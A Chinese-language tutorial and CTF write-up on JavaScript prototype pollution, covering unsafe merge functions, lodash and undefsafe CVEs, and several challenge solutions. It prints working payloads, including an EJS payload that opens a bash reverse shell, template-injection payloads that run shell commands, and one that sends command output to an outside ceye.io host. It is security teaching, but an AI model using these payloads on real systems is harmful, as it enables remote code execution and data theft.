关于Prototype Pollution Attack的二三事
写在前面 这个prototype污染是js种独有的安全问题,挺有一14。 在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。 原型链污
写在前面
这个prototype污染是js种独有的安全问题,挺有一14。
在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。
原型链与原型
首先我们要搞清楚这样一件事
在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。
每个实例对象(object)都有一个私有属性( __proto__)指向它的 构造函数的原型对象 (prototype)。该原型对象也有一个自己的原型对象( __proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。
我们可以通过以下方式访问得到某一实例对象的原型对象:
objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
在创建对象时,就会有一些预定义的属性。其中在定义函数的时候,这个预定义属性就是 prototype,这个 prototype 是一个普通的原型对象。
而定义普通的对象的时候,就会生成一个 __proto__,这个 __proto__ 指向的是这个对象的构造函数的 prototype。
JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。这条链子就是原型链了。
原型链继承
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
这里用一个p神的例子
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

我们来分析一下这段代码,Son这个函数的原型通过Son.prototype = new Father()这一段代码继承了Father的属性,然后通过构造函数将Son实例化为对象son,当我们输出first_name的时候,引擎会先在构造出对象的函数中寻找,也就是在Son中寻找,找到了Melania并输出,在输出last_name的时候,先在Son中查找,没有找到,然后引擎就会去son.__proto__中寻找,通过我们的学习,可以知道son.__proto__ == Son.prototype,又因为Son.prototype = new Father()所以Son的圆形中就会有Father的属性,就输出了我们所看到的结果了。
那如果在son.__proto__中没找到呢?
如果仍然找不到,则继续在son.proto.proto中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的proto就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
我们需要记住:
每个构造函数(constructor)都有一个原型对象(prototype)
对象的proto属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
JSON语法
为啥要学这个呢?因为我们需要以这种形式对原型链进行传值,来对其进行污染
JSON 语法是 JavaScript 语法的子集。
JSON 语法衍生于 JavaScript 对象标记法语法:
- 数据在名称/值对中
- 数据由逗号分隔
- 花括号容纳对象
- 方括号容纳数组
JSON键/值对由键和值组成,键必须是字符串,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。
在定义JSON键/值时,先是键名,后面写一个冒号,然后是值。如:
"github": "https://github.com/"
就等价于
github = "https://github.com/"
再举个例子
var object = {
'a': [{ 'b': 2 }, { 'd': 4 }]
};
var other = {
'a': [{ 'c': 3 }, { 'e': 5 }]
};
_.merge(object, other);
// => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
原型链污染
我们先看一个语句
object[a][b] = value
我们如果可以控制[a]、[b]和value的值,将[a]设置为__proto__,那我们就可以给对象的原型设置一个值为value的b属性了。
这样所有继承object对象原型的实例对象都将会在本身没有b这一属性的情况下,拥有一个值为value的b属性。
举个例子

为啥没在object2中设置foo属性还可以输出Hello World呢?
是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。
这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
Merge 类操作导致原型链污染
哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。
这里还是p神的例子
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
我们用如下代码实验一下:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

可以看到,数据被合并了,那么验证一下原型链有没有被污染

可以看的出来,并没有。
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
像这样的一段代码
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object类型,那么Merge函数将重新开始合并它。
在这里可以控制b[attr]的值,将attr设为__proto__,也可以控制b中proto属性内的值,那当递归时,a[attr]在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性。
需要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //成功污染
那么Merge()为什么不安全呢?
- 这个函数对
source对象中的所有属性进行迭代(因为对象source在键值对相同的情况下拥有更高的优先级) - 如果属性同时存在于第一个和第二个参数中,且他们都是
Object,它就会递归地合并这个属性。 - 现在我们如果控制
source[key]的值,使其值变成__proto__,且我们能控制source中__proto__属性的值,在递归的时候,target[key]在某个特定的时候就会指向对象target的prototype,我们就能成功地添加一个新的属性到该对象的原型链中了。
一到用到了Merge类操作的题目:[GYCTF2020]Ez_Express

进入题目后发现是一个登陆界面,直接登陆的话会提示需要先注册,用admin注册的话会提示禁用字符,访问www.zip获取源码
在/route/index.js中发现了Merge操作,同时还有一个可疑的clone

我们找一下clone方法

可以看到,需要user是ADMIN我们才能使用clone
这个就关系到登陆了,我们查看一下登陆相关的路由

这里了一个safekeyword的方法来审查注册,我们跟进

哦,就是不能注册admin,但我们需要用admin的身份
注意到有一个toUpperCase的函数被调用了,也就是会把user的注册内容转化成为大写,这就可以利用Fuzz中的JavaScript的大小写特性。
toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。
但我们用脚本fuzz过后

出现了俩奇怪的东西"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
toLowerCase也有同样的字符:

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.
那我们就可以借助"ı"来完成admin的注册了
注册admın

成功注册,这里还说了flag的目录
这样我们就来到了原型链污染的部分了,那么污染那个属性呢?

可以看到在 /info 下,将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的:

回到界面上,提交我们喜爱的语言然后抓包

将 Content-Type 设为 application/json,POST Body 部分改为 Json 格式的数据并加上Payload:
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

可以看到success了

其实这个题还有个非预期

在这里我们可以看到这个题是使用了ejs这个模板引擎
这个引擎特征
const express = require('express');
const path = require('path');
const app = express();
app.listen(3000, () => {
console.log('3000端口');
});
//设置ejs:
app.set('view engine', 'ejs'); //设置模板引擎为ejs
app.set('views', [`${path.join(__dirname,'moban')}`, `${path.join(__dirname,'views')}`]); //设置模板文件的存放位置
app.engine('html', require('ejs').__express); //将html文件作为ejs模板文件来解析
但这个模板引擎本身是存在原形污染的,可以直接进行rce,且有大把现成的exp....
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}}
先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE
接着post访问api.js就可以反弹shell了
另一道用到了Merge类操作的题目:[HackIM Nullcon CTF 2019] – Proton
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json()) // 调用中间件解析json
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

这里我们可以看出我们需要让admin = 1就行了
要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
因此最简单的 Payload 就是:
{"__proto__": {"admin": 1}
一个关于Merge的漏洞:merge.recursiveMerge CVE-2020-28499
此 CVE 影响 2.1.1 以下的 merge 版本
测试代码:
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y:1}};
console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);
结果如下

漏洞成因
首先对于传入的数据没有严格的审核

导致了recursive方法中的键值是可以控制的,我们可以直接通过他来对原型进行更改

修复也自然就是对传入的数据进行过滤

Lodash 模块原型链污染
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
一个关于Lodash的漏洞:lodash.defaultsDeep 方法 CVE-2019-10744
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
console.log(Object.whoami);
我们在mergeFn({}, JSON.parse(payload));处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

原型被污染了
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。
lodash.merge 方法造成的原型链污染
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:
merge(object, sources)
这种格式的东西在原型链污染中是出现频率很高的危险函数之一
这里当两个键相同的时候,生成的对象将有最右边的值,在这里也就是sources的值。当有多个对象相同的时候,那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块,其实和之前说的Merge类污染是很相似的,我们来看源码。
- node_modules/lodash/merge.js

直接调用了baseMerge方法,我们直接跟进
- node_modules/lodash/_baseMerge.js

这里对srcValue有一个筛选,如果他是一个对象的话就进入baseMergeDeep方法,我们要去Merge的对象一定是个Object
- node_modules/lodash/_baseMergeDeep.js

这里对于上一步的srcValue直接丢进了assignMergeValue中,继续跟进
- node_modules/lodash/_assignMergeValue.js:

这里对value的值和对象键名啥的进行一个筛选,但是最终就是进入baseAssignValue
- node_modules/lodash/_baseAssignValue.js

这里可以进行绕过
prefixPayload = { nickname: "Will1am" };
payload:{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);
最终进入 object[key] = value 的赋值操作。
也就是object[prototype] = {"role": "admin"}
这样就给原型对象赋值了一个名为role,值为admin的属性
POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
我们在 lodash.merge({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性,值为 yes,污染成功。

运行结果也表示了污染成功
lodash.mergeWith 方法 CVE-2018-16487
这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
这个方法在4.0.0版本之后添加的

这个方法除了多了个customizer其实和上面分析的路径是一样的,就不一步一步的卸载这里了

这个参数对于我们的利用路径也没啥影响
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
我们在 lodash.mergeWith({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性,值为 yes,污染成功。

lodash.set 方法造成的原型链污染
设置object对象中对应 path 属性路径上的值,如果path不存在,则创建。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。 使用_.setWith 定制path创建。
Note: 这个方法会改变 object。
set(object, path, value)
- object (Object): 要修改的对象。
- path (Array|string): 要设置的对象路径。
- value (*): 要设置的值。
返回(Object): 返回 object。
例子
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4
_.set(object, ['x', '0', 'y', 'z'], 5);
console.log(object.x[0].y.z);
// => 5
其实作用就是修改指定路径的值
看源码

这里指向了baseSet,跟进

这里必然是一个对象,进入if循环,但我们更改的主要是路径,通过路径对原型链进行污染
跟进baseToPath方法

这里对我们传入的path进行一个条件运算,很显然我们传入的一般不是一个数组,跟进到stringToPath方法

可以看到也没有啥过滤
如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.setWith 方法造成的原型链污染
这个也是,类似于上面讲的set方法,但是还回接受一个customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。customizer 调用3个参数: (nsValue, key, nsObject) 。


该方法与 set 方法一样可以进行原型链污染,基本上差不多,就不单出拿出分析了,下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.zipObjectDeep 方法 CVE-2020-8203

例子
_.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
// => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
影响版本 < 4.17.16,这里的测试版本是4.17.15
POC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123
看看源码

该函数可以根据props数组指定的属性进行对象“压缩”,属性值由values数组指定。
所以传入的也就变成baseZipObject(['__proto__.z'],[123],baseSet)
跟进baseZipObject

POC中调用baseZipObject函数时,length等于1,varsLength等于1,assignFunc是baseSet。
因此执行的其实是
baseSet({}, '__proto__.z', 123)
这个版本的baseSet和我们上面讲到的漏洞有所不同


这里用到castPath将路径__proto__.z解析成属性数组['__proto__','z']
然后就进入了while循环,大概执行了以下操作:
按属性数组中元素的顺序,依次获取对象原有的属性值,并进行赋值;
如果该属性不是数组的最后一个元素,那赋值为对象本身,或空数组,或{}。
如果是数组的最后一个元素,就将该属性赋值为我们期望的value。
我们在_.zipObjectDeep(['__proto__.z'],[123])下一个断点,然后单步执行查看结果

可以看到,原型链被污染了,每一个现有对象和新建对象都将有一个属性z。

配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 "interpolate" 分隔符相应的位置。 HTML会在 "escape" 分隔符中转换为相应实体。 在 "evaluate" 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings 的值。
在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性
我们看一下相关的源码
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
可以看到 sourceURL 属性是通过一个三元运算赋值,options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。
这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require('child_process') ,但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替,后续的调用就很简单了。
\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}
[Code-Breaking 2018] Thejs
这道题是看P神文章里面写的,摘出来分析一下
没找到环境,简单分一下吧
源码如下
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
比较重要的代码如下
// ...
const lodash = require('lodash')
// ...
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
//...
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞,会直接将注入原型的属性的值写去最底层的object。我们需要找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
在template函数中我们可以找到利用点
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
看下sourceURL
option是在模板引擎中渲染的值。这里读的是sourceURL属性的值,我们可以通过添加一个sourceURL属性,修改它的值,通过js原型链污染在function中达到执行js的目的,模板:
new Function("","//# sourceURL='xxx'\r\n CODE \r\n")();
因为require不是全局的,他只存在于当前的模块范围,但是new function是在新的领域运行的,所以我们想利用的话要先将它引用过来

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}}
Undefsafe 模块原型链污染(CVE-2019-10795)
Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object.a.b.e)
// skysec
可以看到当我们正常访问object属性的时候会有正常的回显

但当我们访问不存在属性时则会得到报错

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了
同时在对对象赋值时,如果目标属性存在:

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

访问属性会在上层进行创建并赋值。
undefsafe 模块漏洞分析
通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。
我们在 2.0.3 版本中进行测试:
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

这里object.toString的值本来是存在的,我们通过Undefsafe将其更改成了我们想要执行的语句
也就是说当undefsafe()函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值。
var a = require("undefsafe");
var test = {}
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 "this is just a evil!"。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。
[网鼎杯 2020 青龙组]notes
题目给出了源码
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
这里的r是个空的属性,是很显然是比较容易利用的,同时再查看和编辑note的时候还调用了undefsafe方法,那我们下一步就看看get_note在哪里会被调用
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
这个路由主要就是用来查看notes的,当我们指定一个q,也就是指定一个查看的note时,就会调用get_note
既然q是我们可以指定的,也就说明他是一个可控的参数,但这样只能控制undefsafe得第二个参数而已,而第三个参数我们无法控制
但在/edit_note路由中存在一个edit_note的方法
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
此时的id, author, enote三个参数都是可控的参数,那么我们则可以操纵原型链进行污染
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status 路由有命令执行的操作:
app.route('/status') // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`); // 将命令执行结果输出
});
}
res.send('OK');
res.end();
})
